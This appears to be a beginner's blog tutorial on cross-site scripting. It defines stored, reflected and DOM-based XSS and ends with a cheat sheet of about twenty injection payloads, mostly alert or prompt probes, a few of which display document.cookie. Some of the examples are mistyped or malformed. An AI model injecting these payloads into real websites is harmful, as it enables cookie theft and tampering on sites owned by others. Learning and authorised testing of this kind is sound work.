zzzz

Cross Site Scripting (XSS) And Cheat Sheets

 

What is Cross Site Scripting?

In basic manner, Cross Site Scripting(XSS) is a bug which helps to steal victim's cookies, by using Javascript commands.

E.g <script>alert(document.cookies)</script>


Stored XSS (AKA Persistent or Type I)

Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can envision the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.

Reflected XSS (AKA Non-Persistent or Type II)

Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data. In some cases, the user provided data may never even leave the browser (see DOM Based XSS next).

DOM Based XSS (AKA Type-0)

As defined by Amit Klein, who published the first article about this issue[1], DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write)."

Need Knowledge of

Javascript, HTML, CSS;

How To Find

XSS is very time consuming as well as hard to find, Only Simple way to find is test every parameters and input by putting xss codes. If there is any change in web application behavior then use any other code or add ">, /"> etc.

Watch POC of XSS on youtude etc;

CHEAT SHEET

<img src=x onerror=alert(document.domain)>
x"></script><img src=x onerror=alert(1)>
q=" onclick="alert(/XSS/)
"><iframe src='javascript:prompt(/XSS/);'>
<iframe src="http://google.com"></iframe>
"><iframe src=a onload=alert('XSS')<
</script><script>alert(document.cookie)</script>
<xss>alert('xss')</xss>
<iframe src="http://google.com"></iframe>

DOM Based XSS Scripts 

 /default.aspx#"><img src=x onerror=prompt('XSS');> 
 /default.aspx#"><img src=x onerror=prompt('0');>   
<img src=x onerror=prompt(1);> by ">
“><img src=x onerror=prompt(0)>.txt.jpg
“><img src=x onerror=alert(document.cookie)>

 "><img src=x onerror=prompt(1);>

"><script>alert('XSS')</script>
id=abc"><Script>alert(/xss/)</SCRIPT>

"><img src=" " onMouseover=prompt(/xss/);>
Default.aspx/" onmouseout="confirm(1)'x=" 
Previous
Next Post »